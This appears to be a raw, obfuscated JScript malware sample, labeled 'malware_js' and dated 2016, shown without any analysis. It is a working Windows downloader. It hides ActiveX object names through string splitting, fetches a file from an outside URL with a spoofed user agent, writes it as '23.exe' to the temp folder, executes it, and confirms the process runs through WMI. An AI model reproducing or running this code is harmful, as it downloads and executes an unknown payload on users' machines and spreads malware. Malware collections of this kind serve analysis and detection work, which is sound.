malware_js

"Wed Oct 5 15:12:00 PDT 2016"
function EONlDaKrDM(dUpprcYC,yrqQYUDWNqvo) {dUpprcYC.Run(yrqQYUDWNqvo, 0x1, 0x0);}
/*mbRZaEZYYPUjhmpYYZvkuHWkWqeQBEFtHCKNoPeoSwZPtbgGqKLIFbykNgGfKDTLWxxUvtdYGvYOAkRIBOVzKPUExpbONVaxfLdvxqWbmPPhzMveHnYKIWjraSpRJHbChtDqrHIyNBBTsHSSFeUozwsxyPxnzNVbcuXEfrophIgZfXjbypLmkqvYOfzdjmJTRPklNvNyuh*/gdHnDZTwUlYlv();
var WRXJN = ["http://masseriacarparelli.it/logs.php"];
var CZUm=965-965;
while(true) {
if(WRXJN.length<=932-932) break;
var cLqH = UpVmDKM() % WRXJN.length;
var CWeynexRp=WRXJN[cLqH];
var QKyBB=UpVmDKM();
var TYXetqZSGF='23.exe';
var mFaYSHk='23.exe';
var hVhghTlZ=104-103;
var RJHwnVTTv = function(){
return new ActiveXObject(bwolf('WS&gLxVGsmNA&cript&gLxVGsmNA&.She&l&l',[0,2,4,5,6],'&'));
}();
var mFaYSHk = TqrGdj(RJHwnVTTv) + String.fromCharCode(92) + mFaYSHk;
var ykhQu = function(){
return new ActiveXObject(bwolf('MSX&nSMiHkhqS&ML2.XM&UHjrbyFdkrV&LHTTP',[0,2,4],'&'));
}();
yHeJ(CWeynexRp,ykhQu);
if (ykhQu.status == 100+100) {
var FaIVtRc = function() {
return new ActiveXObject(bwolf('ADO&DB&AzyYHBFgW&.&tVjrGiBru&Stream',[0,1,3,5],'&'));
}();
var gcBaWrkIyyPS=oVXQc(FaIVtRc,ykhQu.ResponseBody,mFaYSHk);
}
try {
EONlDaKrDM(RJHwnVTTv,mFaYSHk);
var RjOiqRJ = GetObject('winmgmts:{impersonationLevel=impersonate}').ExecQuery('Select * from Win32_Process Where Name = \''+TYXetqZSGF+'\'');
if ( RjOiqRJ.Count >= 1 ){break;}
} catch(e) {}
CZUm++;
WRXJN.splice (cLqH,684-683);
}
function TqrGdj(gehkZh){var hDDdvMnk=["ExpandEnvironmentStrings"];return gehkZh[hDDdvMnk[0]]('%TMP%')}
function oVXQc(RYPaBXEa,ZyWwH,FcezZGqaIV){try{RYPaBXEa.open();IOLujkIO(RYPaBXEa);VFmZfSR(RYPaBXEa,ZyWwH);uXjaSazLA(RYPaBXEa);MoKX(RYPaBXEa,FcezZGqaIV);YgnGvsTY=RYPaBXEa.size;bcuroUR(RYPaBXEa);return YgnGvsTY;}catch(e){}}
function yHeJ(yxYYoN,iCmbMGj){try{moXy = 'G*STLWRiJVJj*E*T*anqDxqmtlWum'.split('*');iCmbMGj.open(moXy[0]+moXy[2]+moXy[3], yxYYoN, false);iCmbMGj.setRequestHeader("User-Agent", "Python-urllib/3.1");iCmbMGj.send();}catch(e){}}
function bwolf(JSWiaEyv,nwvEPT,SVwTveCUi){xCsZm=JSWiaEyv.split(SVwTveCUi);VjwYYUc = 'ucW';for(rXWJtZvf=0;rXWJtZvf<nwvEPT.length;rXWJtZvf++) {VjwYYUc+=xCsZm[nwvEPT[rXWJtZvf]];}return VjwYYUc.substring(3,VjwYYUc.length);}
function gdHnDZTwUlYlv() {/*rIeIICpxkd().Sleep(2272-156);*/}
function VKZpHFh(){var JJsZBn=["random"];return Math[JJsZBn[0]]()}
function wqrr(qAGWwr) {qAGWwr.open();}
function IOLujkIO(vclddJTss) {vclddJTss.type=1;}
function VFmZfSR(kfEK,LnpYN) {kfEK.write(LnpYN);}
function rIeIICpxkd() {return/*oyWQMeqTVgqSzWvRLsDvpMnJxWwnVnEkTEIfdmieLebMCwLhMimUdEbeKDequxRJreoOoOUJvvFayqVQIrPNKQKTREFONbYDJWOQsJzHY*/WScript;}
function uXjaSazLA(wxFJKi) {var TlOlnxhMXn=[];wxFJKi.position=TlOlnxhMXn.length*(912382-201);}
function MoKX(dXLtdsL,UmEVrAk) {dXLtdsL.saveToFile(UmEVrAk, 2);}
function bcuroUR(Eujpa) {Eujpa.close();}
function UpVmDKM() {var dkHn=100000;var yHdejl = 100;return Math.round(VKZpHFh()*(dkHn-yHdejl)+yHdejl);}
function youPQwRK(CIMOI) {var DPuGlnst='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';for(var lRcwI=0;lRcwI<CIMOI;lRcwI++){LoLhI+=DPuGlnst.charAt(Math.floor(Math.random()*DPuGlnst.length));}return LoLhI;}
function EyLFuCjUuDOErR(YOumLeqeAEqmoS) {return new ActiveXObject(YOumLeqeAEqmoS);}